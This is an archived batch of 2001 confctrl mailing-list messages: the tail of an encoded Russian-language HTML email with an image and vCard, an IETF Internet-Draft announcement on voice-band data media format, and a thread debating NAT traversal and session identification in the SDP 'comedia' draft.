=E2=EE=E7=EC=EE=E6=ED=EE=F1=F2=FF=EC=E8 =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=FF =E8 =EF=F0=EE=E1=EB=E5=EC=E0=EC=E8 =
=E5=E3=EE =FD=EA=F1=EF=EB=F3=E0=F2=E0=F6=E8=E8 =E8 =
=EC=EE=E4=E5=F0=ED=E8=E7=E0=F6=E8=E8.=20
=C8=ED=F2=E5=F0=E5=F1=ED=EE - =E7=E2=EE=ED=E8=F2=E5 =E8 =
=EF=E8=F8=E8=F2=E5 =ED=E0=EC!</STRONG></P></I></FONT><FONT size=3D2>
<P align=3Djustify><FONT color=3D#000000><STRONG>E =96=20
mail:</STRONG>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
</FONT></FONT><FONT size=3D2><FONT color=3D#000000>&nbsp;</FONT><B><FONT =

color=3D#000000>v_potechin@diamond.ru</FONT></P><I><U>
<P align=3Djustify></P></B></I></U></FONT><FONT color=3D#808000 =
size=3D2>
<P align=3Djustify>&nbsp;</P></DIR></DIR></FONT></BODY></HTML>

------=_NextPart_002_0026_01C105B7.C398A740--

------=_NextPart_001_0025_01C105B7.C398A740
Content-Type: image/jpeg;
	name="=?windows-1251?B?3/Ht++kg5OXt/F/07u0uSlBH?="
Content-Transfer-Encoding: base64
Content-ID: <002301c10596$3c7ddf80$1f9efea9@boyoma>

/9j/4AAQSkZJRgABAgEASABIAAD/7QVoUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA
AQBIAAAAAQABOEJJTQPzAAAAAAAIAAAAAAAAAAA4QklNBAoAAAAAAAEAADhCSU0nEAAAAAAACgAB
AAAAAAAAAAI4QklNA/UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYAAAAAAAEA
MgAAAAEAWgAAAAYAAAAAAAEANQAAAAEALQAAAAYAAAAAAAE4QklNA/gAAAAAAHAAAP//////////
//////////////////8D6AAAAAD/////////////////////////////A+gAAAAA////////////
/////////////////wPoAAAAAP////////////////////////////8D6AAAOEJJTQQIAAAAAAAQ
AAAAAQAAAkAAAAJAAAAAADhCSU0ECQAAAAAD9wAAAAEAAACAAAAAgAAAAYAAAMAAAAAD2wAYAAH/
2P/gABBKRklGAAECAQBIAEgAAP/+ACdGaWxlIHdyaXR0ZW4gYnkgQWRvYmUgUGhvdG9zaG9wqCA0
LjAA/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBELCgsRFQ8MDA8VGBMTFRMTGBEMDAwM
DAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsNDg0QDg4QFA4ODhQUDg4ODhQRDAwM
DAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM/8AAEQgAgACAAwEiAAIRAQMR
Af/dAAQACP/EAT8AAAEFAQEBAQEBAAAAAAAAAAMAAQIEBQYHCAkKCwEAAQUBAQEBAQEAAAAAAAAA
AQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUDDDMBAAIRAwQhEjEFQVFhEyJxgTIGFJGhsUIjJBVS
wWIzNHKC0UMHJZJT8OHxY3M1FqKygyZEk1RkRcKjdDYX0lXiZfKzhMPTdePzRieUpIW0lcTU5PSl
tcXV5fVWZnaGlqa2xtbm9jdHV2d3h5ent8fX5/cRAAICAQIEBAMEBQYHBwYFNQEAAhEDITESBEFR
YXEiEwUygZEUobFCI8FS0fAzJGLhcoKSQ1MVY3M08SUGFqKygwcmNcLSRJNUoxdkRVU2dGXi8rOE
w9N14/NGlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vYnN0dXZ3eHl6e3x//aAAwDAQACEQMRAD8A
9LSS7JlWLMolMkkmpXSTpIqUnCinCQQySTSknWilJkpSQtKxSlJJBKk6ZOkFP//Q9LlJMnVZmVCY
qRUUCpSRKUpkErSpBRhOkClkCkmCcJ1rVQmUk0JKUm7p0kEqSTSkUrU//9H0kKQUU8qoCzlclRTy
opEqC6SSSSVwlokkihScJAJwEgEKCRTpiE6lLJJJkFLJJJJq5//S9JTJ0ypthcJJkpSUukklqipS
kmhSARAQVBJOE6ctWCdJIooYlRKkSok6ppXBSRSCcodEv//T9JSSThVGwxITKZTQhSrUE6QCdOCC
uEkySKF5Ugop0QgrpikSokokqCxTKSaEwrlBP8Eyfskh/9T0lSUSkCVUZ2SSYKSKFkkkgipSSdMU
lLpFMmJStVLykmlOhaVJJAJ4RQslKSZBL//V9JTwkkqjOunUU4KchSQTpJKWJSTEppQtNLkpkk8I
bqUAnSTIqZJSmSRQsmUlEoFIf//W9KCSSdVWdZIJQkkplKZNKSNopc6qMKSZBKycFOkB4pUq1JJ4
CUI0i1kydMUClUpkkkEv/9kAOEJJTQQGAAAAAAAHAAMAAAABAQD//gAnRmlsZSB3cml0dGVuIGJ5
IEFkb2JlIFBob3Rvc2hvcKggNC4wAP/uAA5BZG9iZQBkAAAAAAH/2wCEAAoHBwcIBwoICAoPCggK
DxINCgoNEhQQEBIQEBQRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBCwwMFRMV
IhgYIhQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM
DP/AABEIASwBLAMBEQACEQEDEQH/3QAEACb/xAGiAAAABwEBAQEBAAAAAAAAAAAEBQMCBgEABwgJ
CgsBAAICAwEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAgEDAwIEAgYHAwQCBgJzAQIDEQQABSES
MUFRBhNhInGBFDKRoQcVsUIjwVLR4TMWYvAkcoLxJUM0U5KismNzwjVEJ5OjszYXVGR0w9LiCCaD
CQoYGYSURUaktFbTVSga8uPzxNTk9GV1hZWltcXV5fVmdoaWprbG1ub2N0dXZ3eHl6e3x9fn9zhI
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

------=_NextPart_001_0025_01C105B7.C398A740--

------=_NextPart_000_0024_01C105B7.C398A740
Content-Type: text/x-vcard;
	name="boyoma.vcf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="boyoma.vcf"

BEGIN:VCARD
VERSION:2.1
N:;boyoma
FN:boyoma
EMAIL;PREF;INTERNET:boyoma@dubki.net
REV:20010705T210536Z
END:VCARD

------=_NextPart_000_0024_01C105B7.C398A740--


From confctrl-owner  Fri Jul  6 07:50:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA27294
	for confctrl-outgoing; Fri, 6 Jul 2001 07:50:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA27289
	for <confctrl@zephyr.isi.edu>; Fri, 6 Jul 2001 07:50:36 -0700 (PDT)
Received: from NEXUS.replicants.org.uk (pc-62-30-167-16-ca.blueyonder.co.uk [62.30.167.16])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f66EoaL13804
	for <confctrl@isi.edu>; Fri, 6 Jul 2001 07:50:38 -0700 (PDT)
Received: from mail pickup service by NEXUS.replicants.org.uk with Microsoft SMTPSVC;
	 Fri, 6 Jul 2001 15:54:47 +0100
X-From_: ietf-123-owner@loki.ietf.org Tue Jun 26 16:11:52 2001
Envelope-to: david@REPLICANTS.FREESERVE.CO.UK
Delivery-date: Tue, 26 Jun 2001 16:11:52 +0100
Received: from [132.151.1.177] (helo=loki.ietf.org)	by imailg2.svr.pol.co.uk with esmtp (Exim 3.13 #0)	id 15EuVL-0003cq-00; Tue, 26 Jun 2001 16:11:51 +0100
Received: (from adm@localhost)	by loki.ietf.org (8.9.1b+Sun/8.9.1) id KAA19958	for ietf-123-outbound.10@ietf.org; Tue, 26 Jun 2001 10:05:02 -0400 (EDT)
Received: from ietf.org (odin.ietf.org [10.27.2.28])	by loki.ietf.org (8.9.1b+Sun/8.9.1) with ESMTP id HAA18638	for <all-ietf@loki.ietf.org>; Tue, 26 Jun 2001 07:03:05 -0400 (EDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27363;	Tue, 26 Jun 2001 07:03:04 -0400 (EDT)
Message-Id: <200106261103.HAA27363@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
CC: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-foster-mmusic-vbdformat-00.txt
Date: Tue, 26 Jun 2001 07:03:03 -0400
X-OriginalArrivalTime: 06 Jul 2001 14:54:47.0693 (UTC) FILETIME=[99CF13D0:01C1062B]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: Voice-Band Data Media Format
	Author(s)	: B. Foster, R. Kumar, F. Andreasen
	Filename	: draft-foster-mmusic-vbdformat-00.txt
	Pages		: 4
	Date		: 25-Jun-01
	
Voice-band data (fax and modem) traffic can often require different 
processing and as such, the ability to specify a different payload 
type when passing this type of traffic is important. This document 
defines a specific 'fmtp' parameter for this purpose.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-foster-mmusic-vbdformat-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-foster-mmusic-vbdformat-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010625111125.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-foster-mmusic-vbdformat-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-foster-mmusic-vbdformat-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Co

From confctrl-owner  Fri Jul  6 10:20:37 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA06040
	for confctrl-outgoing; Fri, 6 Jul 2001 10:20:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA06035
	for <confctrl@zephyr.isi.edu>; Fri, 6 Jul 2001 10:20:36 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f66HKiL23748
	for <confctrl@ISI.EDU>; Fri, 6 Jul 2001 10:20:44 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f66HKAki013564;
	Fri, 6 Jul 2001 13:20:10 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3CZ0Z4K0>; Fri, 6 Jul 2001 13:20:36 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C896@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'David Yon'" <yon@dialout.net>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Fri, 6 Jul 2001 13:20:35 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Wednesday, July 04, 2001 5:14 PM
> To: Jonathan Rosenberg; Jonathan Rosenberg; 
> Fairlie-Cuninghame, Robert;
> 'confctrl@isi.edu'
> Subject: RE: Comedia Issues.
> 
> 
> Yeah, yeah, go ahead and call my bluff... :-)  I have to 
> admit I don't know 
> whether T.38 has any room for session identification that can 
> be used to 
> map the media to the signaling, although I tend to doubt it.  
> Even if there 
> was it would likely differ from your suggestion.
> 
> At any rate, I do like where you are going with this, and 
> it's a worthwhile 
> discussion.  In these days of firewalls, NATs, and hostile 
> networks, I'm of 
> the opinion that the only way to unambiguously associate a 
> media stream to 
> a session that's been signalled out-of-band is to embed 
> information into 
> the media itself.
> 
> That said, I would submit that it's a topic outside the scope of the 
> comedia draft, which needs to address the current state of the world.

The current world is full of NATs. Putting a solution in place now, which is
known to not work through NATs, is a mistake. 

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Fri Jul  6 13:01:59 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA15148
	for confctrl-outgoing; Fri, 6 Jul 2001 13:01:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA15143
	for <confctrl@zephyr.isi.edu>; Fri, 6 Jul 2001 13:01:58 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f66K26L21107
	for <confctrl@ISI.EDU>; Fri, 6 Jul 2001 13:02:06 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f66K0O402747;
	Fri, 6 Jul 2001 16:00:24 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-146.cisco.com [161.44.241.146])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id ACX02679 (AUTH pkyzivat);
	Fri, 6 Jul 2001 16:01:55 -0400 (EDT)
Message-ID: <3B461823.BCD562A6@cisco.com>
Date: Fri, 06 Jul 2001 15:57:23 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: "'David Yon'" <yon@dialout.net>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Comedia Issues.
References: <B65B4F8437968F488A01A940B21982BF0128C859@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

I will second David Yon in objecting to an RTP-centric solution.
A generalization of what you are suggesting might be:

Include something unique in the SDP media description that is guaranteed
to be conveyed by the active party to the passive party within the
resulting media stream. (Exactly what, and how it is conveyed, could be
transport and media specific.)

Even in this general form there are a couple of problems with this:

- existing protocols may not provide a way to send something suitable.
  At best this may require overloading the meaning of something in
  the media protocol, and this may not work in all cases.
  Consider the problems if there are two media sessions of the
  same type in the same call. 

- the intended direction of communication may not give me any
  opportunity to send anything. (The active party is recvonly.)
  This works out for RTP because the RTCP channel is assumed to
  be bidirectional even when the actual media is only going one
  way. But this is not likely to be true for connection oriented
  media unless they are designed with the requirement in mind.

Paul Kyzivat
Cisco Systems

Jonathan Rosenberg wrote:
> 
> 
> 
> > -----Original Message-----
> > From: David Yon [mailto:yon@dialout.net]
> > Sent: Sunday, July 01, 2001 10:01 AM
> > To: Fairlie-Cuninghame, Robert; 'confctrl@isi.edu'
> > Subject: Re: Comedia Issues.
> >
> >
> > Comments below.
> >
> > At 10:59 AM 6/29/2001, Fairlie-Cuninghame, Robert wrote:
> >
> > >David Yon & myself where having offline discussions about
> > the wording of
> > >how the source information in the comedia draft may be used
> > by applications.
> > >
> > >The source information in the a=direction attribute is only
> > used when two
> > >applications are establishing logical bidirectional channels
> > between them
> > >(using two SDP complementary descriptions). The information
> > encodes where
> > >a connection will be originating from.
> > >
> > >Now existing SDP requires you to accept media from anywhere.
> > I do not
> > >think that comedia should be changing this.
> > >
> > >So I believe that the draft should be very clear that an
> > application must
> > >not enforce the source information supplied in the direction
> > attribute
> > >when accpeting connections and that this should only be used by
> > >residential firewalls/NAT to open holes in the firewall
> > (which was the
> > >reason the information was originally added). This allows
> > the RTP media to
> > >cross a single (eg residential) NAT/firewall without modification or
> > >remapping of the SDP fields - very useful!
> > >
> > >[Now David if I get your position wrong please correct me.]
> > David believes
> > >that the draft should not be so emphatic that the source
> > information may
> > >not be enforced by the application because in many cases there is no
> > >NAT/firewall and thus gives a small amount of security to
> > media. I realize
> > >that many people want to solve the lack of security on RTP problems.
> > >Whilst certain implementations may end up enforcing the information
> > >anyway,  the draft should say that applications MAY NOT do this.
> >
> > My problem with this is that folks are reading too much into
> > what the draft
> > says.  It never, EVER says "enforce".  That is entirely
> > outside the scope
> > of what the source address is all about.  The point of the source
> > address/port (SAP) is all about ENDPOINT IDENTIFICATION.
> >
> > SAP is intended to address the topology there a TCP-based
> > media endpoint is
> > using the canonical TCP server style of accepting connections
> > at a single
> > port number.  The problem is that once you constrain the
> > server to a single
> > port, mapping connections to sessions becomes impossible
> > without additional
> > information.  There are two ways to solve this problem:
> >
> >          a) Embed session identification information into the
> > media stream, or
> >          b) Identify the session by the address/port of the
> > remote endpoint.
> >
> > Since (a) is incompatible with most media signalled by SDP,
> > (b) is your
> > only option.  That is the essence of why SAP is included in
> > comedia.
> 
> I think the nat fiasco has taught us that relying on IP addresses as
> identification is a bad thing. So, whilst I agree with (b), I wonder why we
> don't put the SSRC/cname in there instead? That has the advantage that it is
> globally unique (well, the cname is; the ssrc' may collide. But, you can
> detect this by notticing that the same ssrc came from two different IP
> addresses. Several ways to fix it...., but the problem goes away when the
> cname arrives. Just need to mandate that for unicast, you send a few RTCP
> right away to set the cname.). It provides endpoint identification that
> works through nats. It also allows us to <gasp> turn "RTP servers" (PSTN
> gateways, media servers, etc.) into traditional servers by defining a <gasp
> again> well-known port for RTP, and then demuxing on the SSRC/CNAME. Couple
> that with the symmetric RTP proposal, which has media sent back to the
> source IP where it came from. That means I could get RTP through firewalls
> by static configuration of a simple rule: allow outbound UDP to RTP-port
> (and allow media back to source addresses of outbound media).
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
